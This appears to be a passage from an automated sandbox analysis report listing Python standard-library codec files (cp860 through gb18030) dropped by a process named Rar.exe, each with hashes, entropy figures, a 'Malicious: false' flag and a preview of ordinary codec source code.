Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP860.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp860',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp861.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35331
Entropy (8bit):	4.588014438980019
Encrypted:	false
SSDEEP:	384:FfLnZkjh4wVlPVjxAEJHWJn4AVPScqPMy:JqjhJVbxAEJ2BFDS
MD5:	83CFB87E2BB8A42739A03DA1D979AF6A
SHA1:	97C16F469B56F437F521C482C613D4AEC6EF3206
SHA-256:	D7FE52A55FDCAC4E6E9ECDC4884C793D1FEB345D0276B074214DB1BF4BCF3033
SHA-512:	589B6933A5E45176210EA18997B056F41A6B03D765668B7328577D5CF8EEC9CF55B6247E225835D4666EB2AA0714ED927902929B75E27711437612BF9463D89E
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP861.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp861',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp862.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34068
Entropy (8bit):	4.605627535144471
Encrypted:	false
SSDEEP:	384:oPFL+DZkjh4wVOjIVjx79EJHWJn4AVE6AsqPMy:8UDqjhJVkKx79EJ2BFX7S
MD5:	D22ABCA28D2425D802F53021178224A1
SHA1:	D26E991DA020C07E58C03506347803A88230A6BB
SHA-256:	6D99C0415136CE45AB438C8238772A1A132E7B38212C623467C2170F1A8AAE75
SHA-512:	66E7C898ED749CF2706EA877FB099F50477EC5EA3C0FB4F2FA189F4E849D37AD01E7899BFC04A3D60D6CD5A1D42CFF69E71D0A39BE5F51C919543D22C2D82C6A
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP862.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp862',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp863.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34950
Entropy (8bit):	4.597040843450106
Encrypted:	false
SSDEEP:	384:DQ6LHZkjh4wV5VvxAEJHWJn4AV7qmqPMy:VqjhJVjxAEJ2BFtS
MD5:	13279C9ED7C1F7AF8722F9EB3A1B595B
SHA1:	BCF042EA7D75E802EE940B3C979626DCD0FAAD33
SHA-256:	32FC23645A773EBB3247B3692D0525EA43513B358DD0350EF3A171864E326335
SHA-512:	95CDDCB21D1E738A6850BEA50F6ABD8BBC537F916AC1B3BC16449710EECCDD6B9A54A584A6E40F89E3068B601F43EB297214B1585C9F658B7901BE8F1CBB5162
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP863.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp863',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp864.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34353
Entropy (8bit):	4.587380932355719
Encrypted:	false
SSDEEP:	192:THLsuYDvRKLaH2bdfn8yrE0PXRQ/h4wcuSMurHUF3zZUB+yEsqj44HjBRWJn4bkg:On2quKh4wVU2HWJn4AVXwn
MD5:	30CBEC79DA2D6565A1C62EF240272223
SHA1:	00C4D427BBE2ADEC7FD3EB73C4F025523D352EA6
SHA-256:	E8879DB3682B0F234BFCF97FE74A3A7DB63CFD5F40281F580E911932DEC4A4D3
SHA-512:	69191F9A4D7089C74A5CA459D0A325BD21347AAC6CAA7F2D4DBE7835A73CD31CCD23C395B11ED91AB55C1592456C7D39A6F3D2CBF1CD2338A27B921A41435864
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP864.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp864',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp865.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35316
Entropy (8bit):	4.589958887283082
Encrypted:	false
SSDEEP:	384:RQVLCZkjh4wVXjIVSxAEJHWJn4AVUVcqPMy:PqjhJVz5xAEJ2BFfS
MD5:	FE9E2A87FF8164A9602AF05FE30F64FC
SHA1:	3BEC0843F48826EC25A9D660B9A578148085D82F
SHA-256:	0722BBF3A0F93700E99B3816E9E52C75674E14319146F9AC3FD1E17F87E66CB0
SHA-512:	B1C5797EC453694C0E285084F25B7825C13C59B2754DE58319745923784BB5105485883C6E8BDDFEAC3267EE8E9CDD34A76155282C2AD774CEF58FBC6AC476FC
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP865.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp865',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp866.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35094
Entropy (8bit):	4.600424943983017
Encrypted:	false
SSDEEP:	192:lHLsuYDvRI0CnFdiaYzFFwrE0PXRN/h4wcuSMXY3uD8HtIMpW5449jBRWJn4bkV1:EVMYkjh4wVXYrxcHWJn4AVo0kQMy
MD5:	BE6B4AAAD297AE734F59800072CCAA30
SHA1:	6FE723B5DA8606EC26DC4523AA6F6EEEDACD16E0
SHA-256:	E3A033B3B790018A0A02E9F67A03530753C7FB5F94B6ABA84F5173D29FB389AE
SHA-512:	5E4B443A4778EAF7ECFA41E88CC259A6ABB2CCA0F578F7F72800C201D280C3AC033528EBF1043862DD64896DDEA444190FFF29C6EC7AEB6DE00B5E6C7EBAA86C
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP866.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp866',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp869.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	33654
Entropy (8bit):	4.583176642392538
Encrypted:	false
SSDEEP:	384:9XtKOodhREjkjh4wV+TRLMCXkWDoq4HWJn4AV+/S0sOkYmPr:UhR1jhJVBukWDo72BFEEN
MD5:	FC295CB9BF854E29A7EAB588DF20A662
SHA1:	F9D95ED00BBCB7CB89661A0BB93880BF08A70802
SHA-256:	4322E184D3C1DFA56EDB013E895CBFB71130E7846F8F56BCAFC4C0082373CB6A
SHA-512:	0167CC25A48AB6B09F08233CD51C8C622AF7014642BE6E9A72F37EA8C459F67CAE04DFED076E8148C512747CD775457442528F1963CE3F677FE3B5F45AD71C1B
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP869.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp869',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp874.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12902
Entropy (8bit):	4.624503078499216
Encrypted:	false
SSDEEP:	192:KHhsuOTDvRHUrXPLouhIAs2+iRvskDCYnO00pC8i1bE:nThuhIAlX/H8iG
MD5:	5E2C1051F63CEB3600F970937C5FC6E4
SHA1:	062664CD22F5DC7A52E99EDCC9C5D356C2B6F841
SHA-256:	94179E22722674527BD56386B5E9DAC5427B0F55248D1AA63E204C105DA18D8B
SHA-512:	B6643A970DDF837CA060CB511C4AFA2E4224657450455BDAEF1980ED122791991FD13BAEFD56DE10A63FC1248EAB26478EE0B0B82B0E884FCEDD71D85DCB84F3
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp874 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP874.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp874',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp875.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13161
Entropy (8bit):	4.598690745287678
Encrypted:	false
SSDEEP:	192:LHhsuOTDvRUUZkPS3RI4WcMHFVleIuiZdH77eDVqeOFf2nuS:eT5RIzc+gi72DcdFOnb
MD5:	3DAB3DF72E688978781C91CEA3285C4A
SHA1:	65664E8974B621B2C461774187C483ABFA0E735F
SHA-256:	5C42ADFEC39CF9D891FBB2ED19D882C6160A00B8487B7867F9E2296B9E2F491B
SHA-512:	7F940428049BCB0A95FC67FC178749B61ABF522646A68505B5B420718E5BD8ABBF6973B48CBF17DDA48179ABBA4D31F1E2169DBD5EFA33C044414A7A02673899
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp875 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP875.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp875',.. e

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp932.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.549007604127859
Encrypted:	false
SSDEEP:	24:n5oqwOzff/XohaZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj93cJxFpz:Oqpwhat62VJjRU8njOxLnrxLbrLKmJx/
MD5:	70E562A99A8F07255F47C5F3C05518A5
SHA1:	F1F0A00A3238B19786D88B83F9FA57D043E2D0A9
SHA-256:	F917DB40F96F9F676E45FD9F1A7FA5D9BBB67A703BDF88B546CA4DA84C4905F5
SHA-512:	48C7BF7FDA257EC6ECC4421BFEF66E026C285DABB358ED41DDB6A9FFC6D73F61DA35F25A5622FC8D9D4D086D4BFA37E67A40810D39A6FA5F538F61427304298A
Malicious:	false
Reputation:	low
Preview:	#..# cp932.py: Python Unicode Codec for CP932..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('cp932')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp932',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp949.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.532318933180232
Encrypted:	false
SSDEEP:	24:no53qzqOzSf/XoxKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9+6cJxFV:otqzHzl62VJjRU8njOxLnrxLbrLK03Jd
MD5:	D85D0503255F9363D30F7B7AAD7355D4
SHA1:	DE0F8989F4BBE4CC9A91241DEED093BF259E2DC1
SHA-256:	DA13FD6F1BD7A1D3B48AED1FC75F7516D6A33814086CF971E030625590E9DDA0
SHA-512:	ED408E5A0B1042E0F1F94CF57171381F4B2A0491B9319BF2E0E02DB8B63BF342D7C4091B97DA8F9802B6EA0AE94EFFBE797F17E92F25E5F436BD88E11E4735B7
Malicious:	false
Reputation:	low
Preview:	#..# cp949.py: Python Unicode Codec for CP949..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('cp949')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp949',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp950.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.541713907609811
Encrypted:	false
SSDEEP:	24:nqqqhOz6f/XoHKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ncJxFplR:qqVLj62VJjRU8njOxLnrxLbrLKWJxTz
MD5:	15D67984C7486D079058D4DBA07DDBBE
SHA1:	51AE51CD6ED99E4B594A5EFF1621308AA89DE532
SHA-256:	8FD6E86DFB38006E753B3B0301AA4B377C64C25F4EC9E6333FC99C3F06E90917
SHA-512:	46F3A96CE463669D8AD256C53C84EE201FB3D1EC0BEEEE55E622E75E93D1C9AA272BC0A414F3E65123C9BB1972BEEC9A8F43B2B9ACF849A2361DB188EE3F7836
Malicious:	false
Reputation:	low
Preview:	#..# cp950.py: Python Unicode Codec for CP950..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_tw, codecs..import _multibytecodec as mbc....codec = _codecs_tw.getcodec('cp950')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp950',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\euc_jis_2004.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	4.603655042489424
Encrypted:	false
SSDEEP:	24:nsqVsOzff/XoL2KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9TcJxFplR:sqHwU62VJjRU8njOxLnrxLbrLKKJxTz
MD5:	F1FAE768C9FF8329D237608533530CED
SHA1:	3167902E4F9294DB74131FA2CE505E2F62B9C9B4
SHA-256:	78265BA431395662E7252A9B79BC2A75FFE438DB872B2CF1CBCFB243D83F0C87
SHA-512:	F726B7652435D174D1D84578A9278DD6B751B62CE231247CE4299860A5A4B2E1DB1D243B370625633D526278D30F2D05BBEBA9FC9E8312A103C455C65E802D68
Malicious:	false
Reputation:	low
Preview:	#..# euc_jis_2004.py: Python Unicode Codec for EUC_JIS_2004..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jis_2004')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jis_2004',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incrementa

C:\Users\Public\QExvbmVOb25l\Lib\encodings\euc_jisx0213.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	4.624592201957947
Encrypted:	false
SSDEEP:	24:nrqLOzff/XoL1KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9IcJxFplR:rqAwl62VJjRU8njOxLnrxLbrLKLJxTz
MD5:	45A11BD69244CE2DCC3FF49206AD041B
SHA1:	C0FF2F0406F4158D26DA4FC850584D14764FCA55
SHA-256:	12CA22A7DB25D9EEEF9BF5FACDC5594E3165CCF451528D36E3B68A03989521AC
SHA-512:	06AFD42F84A6E83A55645C82A638A7AF6C545401570EB3871913060FCBCC8D348583F589E3133745A6584998493C35DE25F66336E7D4F48EAC1BFDD6C35D08D6
Malicious:	false
Reputation:	low
Preview:	#..# euc_jisx0213.py: Python Unicode Codec for EUC_JISX0213..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jisx0213')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jisx0213',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incrementa

C:\Users\Public\QExvbmVOb25l\Lib\encodings\euc_jp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	4.531522047071056
Encrypted:	false
SSDEEP:	24:n9qNOzff/XoLjKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9KcJxFplR:9q2wL62VJjRU8njOxLnrxLbrLKlJxTz
MD5:	0F2187EA4FC89DA2F54522EF29F58A7F
SHA1:	9DE39800CBBD630D7D4A1504C1A07F334EF3FAC5
SHA-256:	8927683A4234B936BE1935B8A799BE78520438BB5EA072499D51E7FE3D182987
SHA-512:	61BDFF78DE0A5E781C47F692620F7ACCD78AA006F530D478502A0905D51312B499E119F2EAA5524F2CEEF3CC4950F2865A1EFCFFF23BB4B9702579E0F3AEC97C
Malicious:	false
Reputation:	low
Preview:	#..# euc_jp.py: Python Unicode Codec for EUC_JP..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jp')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jp',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\euc_kr.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	4.509188463695804
Encrypted:	false
SSDEEP:	24:nSBqnChOzSf/Xoap0KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9DJFc3:EqnXzao62VJjRU8njOxLnrxLbrLK9J+3
MD5:	B6EF8BD54861FA5D1E0AFF68F50F2913
SHA1:	3CB1AC8785AF724B359BEFBFC3758D918067B77A
SHA-256:	03AFE0CF8020529EAD00A0EA26A7131D354994CD2352D42F9032216B3748EA91
SHA-512:	B8147C8F711BC1ACE96FB2769F79A54728F7A744FCCD3AA4BE1257E8F09507DEDE44CF9F5C1F089BB88F11A88D372874EB343BB48AFE639A6C7E8D27204BFA05
Malicious:	false
Reputation:	low
Preview:	#..# euc_kr.py: Python Unicode Codec for EUC_KR..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('euc_kr')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_kr',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\gb18030.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1070
Entropy (8bit):	4.573121414528306
Encrypted:	false
SSDEEP:	24:nBMqgOz+f/Xo1GoKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9zcJxFpz:Wq5P1l62VJjRU8njOxLnrxLbrLKSJxTz
